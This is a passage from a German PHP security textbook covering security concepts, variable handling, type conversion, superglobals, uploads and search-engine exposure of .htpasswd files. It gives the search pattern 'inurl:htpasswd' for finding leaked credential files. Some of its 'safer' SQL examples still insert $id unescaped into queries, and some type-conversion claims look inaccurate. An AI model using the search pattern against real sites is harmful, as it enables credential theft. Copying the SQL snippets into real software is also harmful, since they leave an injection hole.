Verfügbarkeit: Hier geht es primär um die Verhinderung von Datenverlust, sekundär sollte ein gutes Sicherheitskonzept natürlich auch nach Möglichkeit Systemausfälle verhindern.
Folgenden Risiken sollte zudem durch das Konzept explizit entgegnet werden:
24
쐽
Computerviren, Trojaner und Würmer: Ein Anti-Viren-Programm ist für jedes System unabdingbar.
쐽
Backdoors: Alle aus- und eingehenden Verbindungen, die nicht vom System und den verwendeten Anwendungen resultieren, sollten generell durch die Firewall gekappt werden.
쐽
Spionage, Hacking und Cracking: natürlich ist es ein Ziel jedes Administrators, solche Angriffe zu verhindern. Hierfür kann es zwei entscheidende Schritte geben: Zum Einen sollte sämtliche Software, die auf dem Server verwendet wird (auch Zusatzmodule, die beispielsweise lediglich mit PHP verlinkt sind!), ständig aktualisiert werden. Das Intervall zur regelmäßigen Aktualisierung sollte drei Wochen betragen. Zum Anderen ist der Einsatz eines Intrusion Detection Systems empfehlenswert; dabei sollte sowohl das klassische IDS, das eingehende und ausgehende Netzwerkverbindungen analysiert, als auch eine Dateisystemüberwachung, die Konfigurations- und Programmdateien auf Veränderungen überprüft, eingesetzt werden.
쐽
Phishing und andere Identitätsangriffe: Besonderes Augenmerk sollte – sofern mit einer Webanwendung personenbezogene Daten verarbeitet oder gespeichert werden – auf eindeutige Erkennbarkeit gelegt werden. Es ist erforderlich, dass Ihre Webanwendung für jeden Anwender erkennbar ist – dies kann z.B. durch ein SSL-Sicherheitszertifikat einer offiziellen Ausgabestelle sichergestellt werden.
쐽
Spoofing: Verlassen Sie sich niemals auf Informationen, die Sie durch eine dritte Ebene erlangen können. Akzeptieren Sie also bei einer Authentifizierung beispielsweise niemals eine IP-Adresse als gegeben – jede Herkunftsinformation lässt sich im Zweifelsfall ohne großen Aufwand fälschen.
1.6 Sicherheitskonzepte für Webanwendungen 쐽
Höhere Gewalt: Eine Absicherung gegen Stromausfall und Überspannung gehört auch zu einem Sicherheitskonzept, vor allem da durch Überspannung bedingt ein Datenverlust eintreten könnte.
쐽
Social Engineering: Dieses Thema ist lediglich dann interessant, wenn es sich um eine Umgebung in einem größeren Unternehmen handelt oder der Support, der etwa Passwörter neu vergibt, ausgelagert wurde. Wenn ein Anwender eine Information oder gar eine Änderung an seinem Account anfordert, ohne dass er sich vorher über das System authentifiziert hat, sollte stets sichergestellt werden, dass es sich wirklich um diesen Benutzer handelt. Aber: Die übliche obligatorische Frage nach dem Namen des Haustiers oder dem Geburtsnamen der Mutter sollte hier keine Anwendung finden, da sich viele dieser Informationen über Suchmaschinen recherchieren lassen.
Die Erstellung und die anschließende – kompromisslose – Umsetzung des Sicherheitskonzepts sollten in Firmen selbstverständlich sein. Doch leider ist dies vor allem in mittelständigen Unternehmen nicht der Fall; da IT-Sicherheit als solches lediglich offensichtliche Kosten jedoch keinen sichtbaren Nutzen und schon gar keinen in der Bilanz monetär sichtbaren Erfolg bringt, wird auf dieses Thema entweder aus finanziellen oder zeitlichen Gründen gern verzichtet. Doch auch der private Serverbetreiber sollte ein Konzept realisieren, auch wenn dies erst einmal mit sehr viel Aufwand verbunden ist. Dieser Aufwand scheint umso größer, wenn man betrachtet, dass er lediglich zur Sicherung eines Hobbys oder bestenfalls eines Nebenerwerbs dient. Doch die Gründe, die für mehr Sicherheit sprechen, sind bei einem privat betriebenen Server, der sensible Daten beinhaltet oder gar speichert, umso größer. Kommt es hier zu einem erfolgreichen Angriff und Daten werden entwendet und gar an zweifelhafte Dritte verkauft, können strafund zivilrechtliche Folgen umso schwerwiegender sein. Damit Sie einen Anhaltspunkt haben, wie Sicherheit in der Praxis gewährleistet werden kann, folgt nun eine Liste von Praktiken, die angewendet werden können, um ein Sicherheitskonzept umzusetzen; diese ist natürlich nicht vollständig und kann lediglich als Anregung dienen: 쐽
Software aktualisieren: Wie bereits erwähnt, sollte jede benutzte Software in regelmäßigen Abständen aktualisiert werden.
쐽
Anti-Viren-Software verwenden: Auch wenn lediglich Programme aus scheinbar zuverlässigen Quellen bezogen werden und niemand auf dem Server Anwendungen installieren oder ausführen kann, ist ein Virenprogramm ein Muss.
쐽
Diversifikation: Es sollte möglichst viel Software von verschiedenen (am besten auch nicht marktführenden) Herstellern verwendet werden. Applikationen von Markführern ist oft Ziel von Angriffen; das Risiko kann bereits etwas mini-
25
Kapitel 1 Sicherheit im Kontext von PHP und Webanwendungen
miert werden, wenn man sich softwaremäßig nicht vollkommen in die Hand eines Herstellers begibt.
26
쐽
Firewalls verwenden: Auch schon mehrfach aufgeführt: Eine Firewall ist unabdingbar.
쐽
Benutzerrechte einschränken: Vor allem unter Windowsbenutzern beliebt ist es, dass jeder Benutzer auf alles zugreifen darf. Für Server, die aus dem Internet zu erreichen sind, sollte ein differenziertes Rechtesystem verwendet werden. Vor allem ist es wichtig, dass die Benutzer, die die zentralen Dienste wie Webserver und Datenbankserver betreiben, entweder nur Leserechte auf die wirklich notwendigen Daten (dies gilt dann allen voran für den WebserverUser) oder nur volle Zugriffsrechte auf die zu ändernden Dateien (hiermit ist der Datenbankserver gemeint) erhalten.
쐽
Sensible Daten verschlüsseln: Dies ist vor allem in Webanwendungen eher schwer zu realisieren. Werden Daten in einer Datenbank abgelegt, sollten eventuell im DBMS vorhandene Möglichkeiten der verschlüsselten Speicherung der Datenbankdateien genutzt werden. Werden Daten hingegen direkt in Dateien – etwa in Text- oder XML-Dateien – abgelegt, sollte auf jeden Fall in Betracht gezogen werden, diese zu verschlüsseln. Alternativ kann auch die gesamte Festplatte verschlüsselt werden. Hier muss jedoch beachtet werden, dass bei Problemen mit dem System an sich eventuell eine Entschlüsselung und somit ein Zugriff auf die Daten nicht mehr möglich ist.
쐽
Sicherungskopien erstellen: Trotz aller Absicherungen von der unterbrechungsfreien Stromversorgung und Überspannungsschutz bis hin zum Booten des Betriebssystems von einer CD-ROM kann es dennoch zu einem Systemausfall kommen. Besonders wenn es zu Hardwaredefekten kommt und ein anderer Rechner verwendet werden muss, ist es notwendig, die bestehenden Daten relativ zeitnah und ohne Umstände (also z. B. den Umbau der Festplatte aus dem »alten« Server) bereitzustellen. Hierfür sollten regelmäßige Sicherheitskopien bereitstehen.
쐽
Protokollierung: Um Fehlverhalten nachvollziehen zu können, sollten Protokolle – soweit sie sinnvoll sind und die Performance des Systems nicht zu stark beeinträchtigen – aktiviert werden. Allerdings ist es damit nicht getan; selbst wenn das System »reibungslos« funktioniert, sollen diese Protokolle regelmäßig durchgesehen werden, da sich vor allem Hardwaredefekte schleichend ankündigen und so bereits frühzeitig über Protokolldateien erkannt werden können.
쐽
Überprüfung: IT-Sicherheit ist ein kontinuierlicher Prozess, der ständig angepasst werden muss. Es sollte also regelmäßig geprüft werden, ob die ergriffenen Maßnahmen noch zu den Risiken passen. Vor allem, wenn neue Software installiert wurde, sollte das Sicherheitskonzept gezielt geprüft werden.
1.6 Sicherheitskonzepte für Webanwendungen 쐽
Sensibilisierung: Das beste System ist nutzlos, wenn alle Sicherheitsbestimmungen durch unvorsichtige Mitarbeiter leichtfertig umgangen werden. Auf dem Produktivsystem sollte niemals etwas getestet werden, es sollten auch keinesfalls Dateien mal eben für irgendjemand freigegeben werden – diese vorübergehenden Freigaben werden gern vergessen und ein böswilliger Dritter ist über die Bereitstellung dieser vielleicht sogar sensiblen Daten sehr dankbar.
27
Kapitel 2
Fehlerquellen, die jeder PHP-Entwickler kennen sollte In diesem Kapitel lernen Sie Fehlerquellen kennen, die nicht in der Arbeit mit Dateien begründet liegen, sondern durch die Verwendung von Variablen entstehen; zusätzlich wird hier noch auf die gravierendsten Konfigurationsfehler eingegangen, die eine PHP-Anwendung angreifbar machen können.
2.1
Variablenverfügbarkeit
Hinweis Dieses Thema wird fast vollständig an dieser Stelle behandelt; lediglich im Kapitel 4 finden sich im Abschnitt register_globals auf Seite 86 noch weiterführende Hinweise. Bei der Variablenverfügbarkeit handelt es sich um eines der dunkelsten Kapitel der PHP-Geschichte; die Problematik des Umgangs mit Variablen stammt wohl noch aus der PHP-3-Zeit – und es ist historisch gewachsen. Die Mentalität von »damals« ist heute noch sehr tief bei vielen PHP-Entwicklern verwurzelt. PHP hat beim Umgang mit Variablen nur recht wenige Einschränkungen, so muss eine Variable nicht deklariert werden. Wird sie das erste Mal verwendet, so wird sie angelegt. Zudem hat eine Variable keinen bestimmten Typ. Der Typ ist nur solange der gleiche, wie die Variable den aktuellen Inhalt hat – mit einer neuen Zuweisung kann auch der Datentyp gewechselt werden. Problemlos ist also folgender Code möglich: $test = 500; $test = 500.01; $test = "abc";
Hierbei wird die Variable $test zu Beginn als Integer (Ganzzahl) initialisiert, dann als Double (Fließkomma) und als String verwendet. Auch eine Änderung durch eine Berechnung ist kein Problem:
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
$test = 500; $test += 500.01:
Dieser Code würde in vielen anderen Programmiersprachen einen Fehler des Compilers bzw. des Interpreters verursachen – er würde darauf hinweisen, dass eine Addition eines Fließkommawertes zu einem Ganzzahlwert zu einer Verfälschung des Ergebnisses führen kann, da der Endwert wieder lediglich eine Ganzzahl sein darf. Unter PHP wird aus $test einfach eine Fließkommazahl – die Variable wird also das Ergebnis 1000.01 beinhalten. PHP verwendet eine schwache, dynamische und implizite Typisierung. Dies macht PHP zu dem, was es ist: Einer sehr flexiblen Sprache, die sowohl den Anforderungen von Einsteigern als auch Profis gerecht wird. Durch diesen sehr einfachen Umgang mit Datentypen ist es jedem Einsteiger möglich, mit PHP zu entwickeln, ohne sich vorher in Gültigkeitsbereiche einzuarbeiten oder sich vor der Entwicklung eines Scripts über die möglichen Werte von Variablen Gedanken machen zu müssen. Gleichzeitig ist es auf der anderen Seite fortgeschrittenen Benutzern problemlos möglich, flexibel mit Daten umzugehen und diese zu konvertieren, sobald dies notwendig ist. Leider hat dieser flexible Umgang auch einige Nachteile, die sogar zu schwerwiegenden Sicherheitslücken führen können. Bereits mit PHP 3 wurden Funktionen eingeführt, die einen gewissen Schutz vor der Übermacht der Variablenverwaltung mit PHP bieten sollten; jedoch wurden diese Funktionen nicht übermäßig publiziert – man muss also wissen, wo die Probleme liegen und mit welchen Funktionen man etwas dagegen tun kann. Es gibt nun zwei hauptsächliche Problemstellungen, die bei PHP im Umgang mit Variablen entstehen können: 1. Nicht vorhandene Variablen sollen ausgewertet werden. 2. Es wird eine Operation ausgeführt, die für den aktuell zugewiesenen Typ nicht sinnvoll ist. Beide lassen sich elegant mit PHP-Bordmitteln beseitigen bzw. umgehen. Vor allem das erste Problem geht auch mit Fehlern, die durch das Vorhandensein und den Umgang mit globalen Arrays entstehen, einher. Beachten Sie hierzu auch den Abschnitt 2.2 Superglobale Arrays auf Seite 35. Nicht definierte Variablen lassen sich mit der Funktion isset() prüfen. Jede Variable sollte, sofern sie nicht gesetzt ist und nachher in irgendeiner Form ausgewertet oder verwendet wird, initialisiert werden. Die einfache Schachtelung der Verwendung einer Variablen in einer if-Bedingung ist relativ unsicher gegenüber späteren Code-Erweiterungen. Dies soll das folgende Beispiel verdeutlichen:
30
2.1 Variablenverfügbarkeit
if(isset($test_file)) { syslog(LOG_INFO, "try to open file $test_file"); echo file_get_contents($test_file); } … $size = filesize($test_file);
Die letzte Zeile stellt dabei eine Codeerweiterung dar, die später vorgenommen wurde. $size wird im weiteren Code wahrscheinlich noch für weitere Auswertungen verwendet. In diesem Fall ist das Problem nicht so schwerwiegend, da $size im schlimmsten Fall den Wert Null annimmt. Doch dieses Beispiel soll nur das Problem an sich verdeutlichen: Wird die Verfügbarkeit einer Variable schlicht angenommen, kann dies zu unerwarteten Ergebnissen führen. In wesentlich gravierenderen Szenarios können Sie mit solch einem Code sogar dazu beitragen, Informationen an Dritte weiterzugeben, die eigentlich nicht für die Weitergabe gedacht sind. Wird nämlich beispielsweise eine Variable für die Erstellung einer SQL-Abfrage genutzt, kann dies durchaus zu Problemen führen. Als Beispiel dient folgender Code: $result = mysql_query("SELECT * FROM tableA WHERE id=$id");
Wenn nun $id nicht initialisiert ist, wird dies zu einer Fehlermeldung des MySQLModuls von PHP führen. Je nach Einstellung wird dann der fehlerhafte SQL-String an den Client durchgereicht, für diesen also sichtbar. In diesem Fall weiß der Endbenutzer ganz klar, welche Tabelle hier abgefragt wird; dies kann bei einer laxen Datenbankkonfiguration, die etwa einen Zugriff mit einem »schwachen« Passwort erlaubt, zu einem richtigen Problem werden. Sinnvoller wäre in oben genanntem SQL-Beispiel dann folgender Code: if(!isset($id)) $id = 0; $result = mysql_query("SELECT * FROM tableA WHERE id=$id");
Das Setzen von $id auf den Wert 0 würde zu keinem Fehler des Datenbankmoduls (vorausgesetzt id in der Tabelle tableA ist eine Zahl), sondern lediglich zu einem leeren Suchergebnis in $result führen. Alternativ wäre natürlich auch diese Lösung denkbar:
31
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
if(isset($id)) $result = mysql_query("SELECT * FROM tableA WHERE id=$id"); else $result = null;
Dabei würde $id unberührt bleiben, das Endergebnis – nämlich die Variable $result – würde auf jedem Fall zu einem gültigen Wert führen. In diesem Fall müsste allerdings sichergestellt werden, dass $id später nicht mehr in einem anderen Zusammenhang verwendet wird. Nachdem die Existenz einer Variablen gesichert ist, stellt sich immer noch die Frage, ob der Wert auch einem erwarteten Typ entspricht. Hierfür gibt es unter PHP mehrere Möglichkeiten. Welche zum Einsatz kommt, hängt von der Toleranz ab, mit der ein Skript arbeiten soll. PHP kann auf der einen Seite entweder prüfen, ob eine Variable von einem bestimmten Typ ist, ob sie in Wert und Typ übereinstimmt oder sie gar in einen gewünschten Typ konvertieren (der Wert wird dabei so konvertiert, dass er zum neuen Typ passt). Soll eine Null-Toleranz umgesetzt werden, und das Script nur weiterarbeiten, wenn der Wert einer Variablen dem gewünschten Datentyp entspricht, so kommen die is_*-Funktionen zum Einsatz. Dabei kann man zurückgreifen auf: 쐽 is_array(): Die geprüfte Variable ist ein Array. 쐽 is_bool(): Die geprüfte Variable ist vom Typ bool. 쐽 is_double(), is_float()
und is_real(): Die geprüfte Variable ist vom Typ
float (Fließkommazahl). 쐽 is_int(), is_integer()
und is_long(): Die geprüfte Variable ist vom Typ
integer (Ganzzahl), 쐽 is_object():
Die geprüfte Variable ist vom Typ object, es handelt sich also um eine instanzierte Klasse.
gibt an, ob die geprüfte Variable eine Resource ist, also etwa das Ergebnis einer Datenbanksuche.
쐽 is_resource()
쐽 is_string(): Die zu prüfende Variable ist eine Zeichenkette.
Es gibt in diesem Zusammenhang noch die Funktionen is_callable(), is_null(), is_numeric() und is_scalar(). Diese prüfen jedoch lediglich den Wert auf eine bestimmte Bedingung oder Bedingungsgruppe; wenn diese Funktionen den Wert wahr liefern, bedeutet dies nicht automatisch, dass eine Variable von einem bestimmten Typ ist oder dass bestimmte Operationen ohne Weiteres möglich sind.
32
2.1 Variablenverfügbarkeit
Tipp Den is-Funktionen sollte generell ein isset()-Aufruf vorgeschaltet sein! Mit den oben genannten Funktionen kann nun der Typ einer Variablen geprüft werden. Nun wird es Situationen geben, in denen etwa über eine if-Anweisung ein Code-Block nur dann ausgeführt werden soll, wenn die Variable einen bestimmten Wert beinhaltet. Doch auch hier können wieder Probleme mit dem Datentypen entstehen, sofern er beim Vergleich keine Beachtung findet. Ein Beispiel: if($id=="001") { // do some stuff }
Dieser Code sieht zunächst relativ harmlos aus: Es wird verglichen, ob $id den Wert "001" enthält. Dies ist jedoch falsch: Was hier vom PHP-Interpreter tatsächlich verglichen und für wahr befunden wird, hängt stark vom Datentyp der Variable $id ab. PHP ist bei Vergleichen grundsätzlich darauf bestrebt, gleiche Datentypen herzustellen. Dies bedeutet beim Vergleich von einem Integer mit einem String, dass der Datentyp einer der beiden Vergleichswerte angepasst wird. Dabei wird Integer vor String bevorzugt. Somit wird "001" in einen Ganzzahlwert umgewandelt – also zu 1. Dies bedeutet, dass aus dem beabsichtigtem Vergleich $id=="001" ein $id==1 wird. Das ist natürlich nicht das, was mit der Bedingung eigentlich beabsichtigt wurde. Um nun tatsächlich auf die Zeichenkette "001" zu testen, ist es notwendig, dass auch der Typ mit verglichen wird. Um dies zu gewährleisten gibt es verschiedene Möglichkeiten. Der simpelste Weg ist das Konvertieren aller Werte zu dem Typ, der verglichen werden soll. Dies entspricht fast dem Automatismus von PHP, nur dass in diesem Fall der Programmierer festlegt, welcher Typ zum Vergleich verwendet werden soll und somit das Ergebnis nicht wie im obigen Beispiel unerwartet ist. Doch bereits hier wird es kniffelig: Es gibt mehrere Wege, über die eine solche Konvertierung vorgenommen werden kann. Jeder dieser Wege hat seine Berechtigung. Vor allem kommt es bei der Entscheidung darauf an, wie nachhaltig die Konvertierung sein soll: Soll ein Wert nur für einen Vergleich zu einem anderen Datentyp umgewandelt werden oder soll diese Veränderung von Dauer sein? Soll die Konvertierung dauerhaft sein, so wird die Variable selbst entsprechend konvertiert (mitsamt dem Wert); dafür kommt die Funktion settype() zum Einsatz, die die Variable und den neuen Typ als String erwartet. Folgende Typen sind erlaubt:
33
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
bzw. boolean: Die Variable wird in den Wahrheitswert konvertiert. Für diese Konvertierung gibt es eine Liste von Werten, die zu einem false führen (alles andere wird zu einem true transformiert!):
쐽 bool
쐽 false selbst 쐽
Ganzzahl 0
쐽
Fließkommazahl 0.0
쐽
Zeichenketten "0" und ""
쐽
Array ohne Elemente
쐽
Objekt ohne Mitgliedsvariablen
쐽
Typ und Wert NULL
bzw. integer: Nach der Umwandlung wurde der vorherige Wert in eine Ganzzahl konvertiert.
쐽 int
Möchten Sie einen String in eine Ganzzahl umwandeln, so werden lediglich die Zahlen aus dem originalen Wert übernommen, ungültige Zeichen (wie etwa Buchstaben) werden einfach ausgefiltert; somit findet also in jedem Fall eine gültige Konvertierung statt. oder double: Steht für die Umwandlung in eine Fließkommazahl. Für die Umwandlung ist lediglich wichtig: Zeichenketten müssen als Dezimaltrennzeichen den Punkt verwenden – die Lokalisierungseinstellungen des Systems bleiben unbeachtet.
쐽 float
Ungültige Zeichen werden – wie bei der Umwandlung eines Strings zu integer – ausgefiltert. 쐽 string:
Der Wert wird in eine Zeichenkette transformiert. Es gibt hier allerdings auf Basis des originären Datentyps vielfältige Arbeitsweisen. Ist der Wert ein boolean, so wird true in den String "1" umgesetzt, für false hingegen wird der leere String "" geliefert. Ein Integer wird einfach in einen entsprechenden String umgewandelt, während bei Fließkommazahlen auch das Exponententeil in die Zeichenkette aufgenommen wird.
Variablen vom Typ array und object lassen sich nicht direkt in einen String umwandeln: Der String wird lediglich aus der Zeichenkette "Array" oder "Object" bestehen. Ressourcen hingegen werden stets in den String "Resource id #XX" (XX ist die PHP-interne Ressourcennummer) transformiert. Abschließend gilt noch: NULL wird immer in den leeren String "" umgewandelt. Es lässt sich also anhand des Strings nachher nicht mehr erkennen, ob der ursprüngliche Wert NULL oder false war (beides führt zum Leerstring). 쐽 array:
Die Umwandlung zu einem Array wird vorgenommen. Hierbei kommt es darauf an, von welchem Typ die Variable vorher war. Für integer, float,
34
2.2 Superglobale Arrays
string, bool und resource gilt: Das Array wird nach der Umwandlung einen Wert mit dem Schlüsselindex 0 beinhalten, in dem der Wert der ursprünglichen Variable gespeichert ist. Ein null-Wert wird in ein leeres Array transformiert, is_array() wird also später ein true ergeben, count() wird jedoch 0 zurückliefern, da sich keinerlei Elemente innerhalb des Feldes befinden.
Daten vom Typ object werden etwas komplexer umgewandelt: Jede Mitgliedsvariable wird als Schlüssel verwendet, dem der jeweilige Wert zugeordnet wird. 쐽 object:
Eins vorweg: Ist die Variable bereits vom Typ object, so ändert sich nichts, es findet keinerlei Umwandlung statt. Handelt es sich jedoch um einen anderen Basistyp, so wird eine Instanz der in PHP integrierten Klasse stdClass erzeugt; die Mitgliedsvariable scalar enthält dann den ursprünglichen Wert.
쐽 null:
Variablen dieses Typs können lediglich einen Wert annehmen: null. Eine solche Konvertierung ist nur dann sinnvoll, wenn Sie sicherstellen wollen, dass eine Variable zurückgesetzt werden soll und Sie gleichzeitig sicherstellen möchten, dass man nicht mehr erkennen kann, von welchem Typ die Variable ursprünglich einmal war.
Soll die Umwandlung nicht dauerhaft stattfinden oder ist Ihnen der Aufruf von settype() zu aufwändig, so kann auch die explizite Umwandlung (der soge-
nannte Cast) verwendet werden. Dabei wird einfach der neue Typ von Klammern umgeben der umzuwandelnden Variablen vorangestellt. Dabei erfolgt die Umwandlung sozusagen »live«; die Variable selbst wird nicht konvertiert. Natürlich ist es Ihnen freigestellt, den Wert im Rahmen einer Zuweisung in die gleiche Variable zu übernehmen und somit die Variable selbst zu konvertieren. Mögliche Typen sind hier: bool, int, float, string, object, null. So sind folgende Konstellationen für die Umwandlung möglich: settype($test, "boolean")
2.2
Superglobale Arrays
Seit PHP 3.0 existieren mehrere globale Arrays. Diese sind meist sogar superglobal, stehen also in jedem Script in jedem Gültigkeitsbereich zur Verfügung, ohne dass sie beispielsweise in Funktionen mittels global importiert werden müssen. Die am Häufigsten verwendeten superglobalen Arrays dürften $_GET, $_POST, $HTTP_GET_VARS, $HTTP_POST_VARS und $_REQUEST sein. Innerhalb dieser Arrays stehen alle Daten zur Verfügung, die von außen kommen. Hier finden sich also alle Parameter, die durch einen Client übermittelt wurden. All diese Eingaben werden unter dem Namen als Schlüssel abgelegt. Allerdings sollten übermittelte Parameter nicht zwingend als vorhanden vorausgesetzt werden. Es gibt verschie-
35
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
dene Varianten, die dazu führen können, dass ein erwarteter Array-Eintrag nicht vorhanden ist: 쐽
Kein originärer Aufruf: Das Skript wurde nicht durch das erwartete Skript aufgerufen, dadurch fehlen etwa Parameter. Es ist z.B. denkbar, dass ein Suchmaschinen-Roboter Ihre Seiten indiziert; er wird diese eventuell ohne Parameter aufrufen.
쐽
Nichterwartetes Clientverhalten: Ein Client hat sich nicht so verhalten, wie es etwa durch eine HTML-Seite erwartet wurde und liefert teilweise invalide Aufrufparameter. Denkbar ist hier beispielsweise eine JavaScript-Inkonformität. Für JavaScript müssen URL-Parameter nicht mit dem für HTML spezifizierten &-Zeichen sondern mit der umgewandelten Variante & voneinander getrennt werden. In manchen Fällen kann es jedoch dazu kommen, dass ein Client diese Konvertierung nicht wieder in den erforderlichen Ursprungszustand umwandelt. Der Server nutzt dies dann als einen Parameter und trennt es nicht wie erwartet auf.
쐽
Fehler in der Übertragung: Bei der Übermittlung zum Webserver kann es zu Übertragungsproblemen kommen. Sind diese nicht schwerwiegend genug, wird der Webserver diese Daten verarbeiten, und dann eventuell Parameter falsch übermitteln.
Bedingt durch diese Fehlerquellen muss also stets vor einem Zugriff auf Parameter festgestellt werden, ob dieser im superglobalen Array vorhanden ist. Hier sollte also stets die Funktion isset verwendet werden. Beispiel: if(isset($_REQUEST["testparam"])) …
Hinweis isset() kann auch für Variablen verwendet werden!
Wird die Existenz eines Parameters oder einer Variable nicht geprüft, so wird diese von PHP für die Verwendung gesetzt und mit "" oder 0 (je nach Typ des Parameters, der dann etwa für eine Funktion notwendig ist) initialisiert. Dies kann fatale Folgen haben, etwa wenn es sich um Daten handelt, die in einer Datenbank eingetragen werden sollen oder gar als Kriterium für das Löschen von Daten verwendet werden. Wird dort auch noch ein Wildcard-Operator in der Datenbankabfrage verwendet, kann dies bedeuteten, dass alle Daten einer Tabelle gelöscht werden, ohne dass dies beabsichtigt war.
36
2.3 Zugriff auf Uploads
2.3
Zugriff auf Uploads
Uploads in Webanwendungen sind eine sehr zwiespältige Sache; für Downloads gilt dies umso mehr. Jedoch auch bei Uploads sollten Dateinamen und vor allem Inhalte nie für eine direkte Beeinflussung verwendet werden. Schlechter Stil ist es zum Beispiel, ein SQL-Statement aus einer hochgeladenen Datei auszuführen; noch ungeeigneter ist es jedoch, eine hochgeladene Datei als include-PHP-Datei zu verwenden. Bei extern eingelieferten Dateien kann deren Ungefährlichkeit nie zweifelsfrei festgestellt werden – deswegen sollten diese Daten auch sehr restriktiv behandelt werden. Uploads sind nötig, das steht außer Frage. Vor allem für ContentManagement-Systeme und Community-Sites (hier kann man an YouTube & Co. denken) lässt es sich nicht umgehen, beispielsweise den Upload von Bildern oder gar Dateien, die später heruntergeladen werden sollen, zuzulassen. Jedoch sollten hochgeladene Dateien nie einen direkten Einfluss auf die Arbeit einer Webanwendung haben. Doch selbst wenn diese Dateien recht harmlos verwendet werden, stellen Sie stets eine Gefahr dar (man denke hier an Buffer-Overflow-Attacken, die mit verschiedenen Lücken in Bildformaten durchgeführt werden können). Um die Möglichkeit der Einlieferung von kompromittierenden Dateien einzuschränken, sind bereits vor dem Upload einige Maßnahmen erforderlich. Es ist auch ohne Weiteres möglich, PHP-Code direkt in einem GIF-Bild einzufügen. Wird eine solche hochgeladene Datei mittels include direkt inkludiert, wird der eingeschleuste Code ausgeführt. Besser ist es dann, die Bild-Datei – wenn ein serverseitiges Öffnen notwendig ist – über andere Wege zu öffnen, etwa über einen fopen-Aufruf. Empfehlenswert ist hier etwa die Abfrage eines Sicherheitscodes, der in einem erzeugten Bild im Hochladeformular angezeigt wird. Ein Download wird nur zugelassen, wenn zuerst der richtige Code eingegeben wurde – es handelt sich hier also um einen zweistufigen Upload. Zuerst muss der entsprechende Sicherheitscode (der nicht im Formular in einem versteckten Feld, sondern lediglich innerhalb der Session hinterlegt sein sollte) verifiziert werden. War dieser gültig, kann im zweiten Schritt die Datei hochgeladen werden. Ein weiterer dramatischer Fehler ist es zu glauben, dass die Angabe von MAX_FILE_SIZE in entsprechenden HTML-Skripten dafür sorgt, dass nur Dateien
bestimmter Größe an den Server übertragen werden. Hier gilt es zu bedenken: MAX_FILE_SIZE ist eine Angabe, die vom Client interpretiert wird, der Client muss
dabei kein Browser sein. Außerdem gibt es bis heute keinen Browser, der den Benutzer etwa beim Absenden des Formulars warnt, dass diese Datei die angegebene Größe überschreitet. Doch kann man den Browser-Herstellern hier keinen Vorwurf machen: MAX_FILE_SIZE wurde bis heute in keiner RFC aufgenommen und ist somit kein Standard.
37
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
Nähere Information zum richtigen Umgang mit Up- und Downloads finden Sie im Kapitel 6 dieses Buches.
2.4
Verzeichnisindizierung und Suchmaschinen
Jede Seite soll möglichst weit oben in der Auflistung der Suchmaschinen – allen voran Google – erscheinen. Heute gilt: Wer nicht in Google ist, den gibt es nicht. Diese Suchmaschine sollte man sich also zum besten Freund machen. Doch auch bei Freunden gilt: Gelegenheit macht Diebe. Nein, das hier ist keineswegs das Lexikon der Lebensweisheiten, jedoch sollte man bei Dateien auf einer Webseite, die von verschiedenen Robotern indiziert wird, stets daran denken, dass der falsche temporäre Link im falschen Moment dafür sorgen kann, dass sensitive Daten für jeden noch jahrelang – der Cache-Funktion der Suchmaschinen sei Dank – sichtbar sind. Besonders tragisch ist dies natürlich, wenn es sich um Zugangsdaten handelt. Es gibt hierfür ein Musterbeispiel, das leider immer wieder seinen Weg in die Realität findet. Zugangsdaten für den Apache-Webserver werden über die .htaccess-Methode gespeichert. In einer Datei, die meist auf den Namen .htaccess lautet, sind hierbei verschiedene Eckdaten notiert, etwa wo sich die Passwortdatei findet oder ob bestimmte IP-Adressen von Haus aus authentifiziert sind. Die Passwortdatei heißt dabei meist .htpasswd; der Punkt als Präfix der Datei stammt dabei aus der Linuxund Unix-Welt: Dies bedeutet, dass die Datei versteckt ist, sie wird vom normalen ls-Kommando (dem dir aus der DOS-Welt) nicht aufgelistet. Hinzu kommt, dass der Webserver meist so konfiguriert ist, dass Dateien, die mit einem Punkt beginnen nicht nach außen durchgereicht werden. Fordert ein Client beispielsweise die .htaccess an, so wird diese vom Webserver eben dann nicht übermittelt. Damit soll verhindert werden, dass Dritte an Zugangsdaten gelangen. Die Passwörter innerhalb der Passwortdatei sind zwar verschlüsselt, doch wer diese Datei einmal hat, kann sich meist mit dem Ermitteln der originären Kennwörter Zeit lassen. Weiterhin sind einige FTP-Server genauso konfiguriert. Sie lassen den Download von Dateien, die mit einem Punkt beginnen, nicht zu. Jedoch ist es manchmal notwendig, solche Dateien »mal eben« herunterzuladen. In vielen Fällen benennt man die Datei dann kurzfristig um; so wird aus .htaccess und .htpasswd etwa _htaccess und _htpasswd. Dies wäre nicht weiter tragisch, jedoch werden dann meist auch noch Links zu diesen Dateien gelegt, damit Kollegen und Mitentwickler diese Dateien schnell herunterladen können, etwa um ein Testsystem, das dem Produktivsystem gleicht, anzulegen. Kommt nun in diesem Moment ein Suchmaschinenroboter auf die Seite, wird er diese Links selbst auch indizieren – und die verlinkten Dateien _htaccess und _htpasswd ebenfalls. Besitzt nun eine Suchmaschine wie Google eine Cache-Funk-
38
2.4 Verzeichnisindizierung und Suchmaschinen
tion, ist es zwecklos, den Dateien wieder ihren ursprünglichen Namen zu geben und die Testlinks zu entfernen. In Google ist eine gezielte Suche nach solchen Dateien auch recht einfach möglich. Um beispielsweise nach htpasswd-Dateien zu suchen, kann als Suchmuster inurl:htpasswd verwendet werden. Zusammen mit der Cache-Funktion kann so die Benutzer- und Passwortliste einer Domain recht einfach bezogen werden. Schwerwiegend wirkt sich hier natürlich auch aus, dass Passwörter selten geändert werden. So kann »man« sich beim »entschlüsseln«1 der Passwörter recht viel Zeit lassen. Doch nicht nur Dateien, die der Authentifizierung dienen sollen und somit eine Webseite gegen Manipulationen Dritter absichern sollen, können sich in Verbindung mit Suchmaschinen als Gefahr herausstellen. Vor allem dann, wenn Seiten über eine Authentifizierung gesichert werden, die nicht vom Webserver bereitgestellt wird, sondern die auf PHP-Sessions aufbaut, wird es sehr kritisch. Hier kann es vor allem bei Suchmaschinen zu fatalen Folgen kommen. Wird etwa von einer Seite, die öffentlich zugänglich ist, auf eine andere innerhalb eines »Sicherheitsbereichs« verlinkt, die dann einfach davon 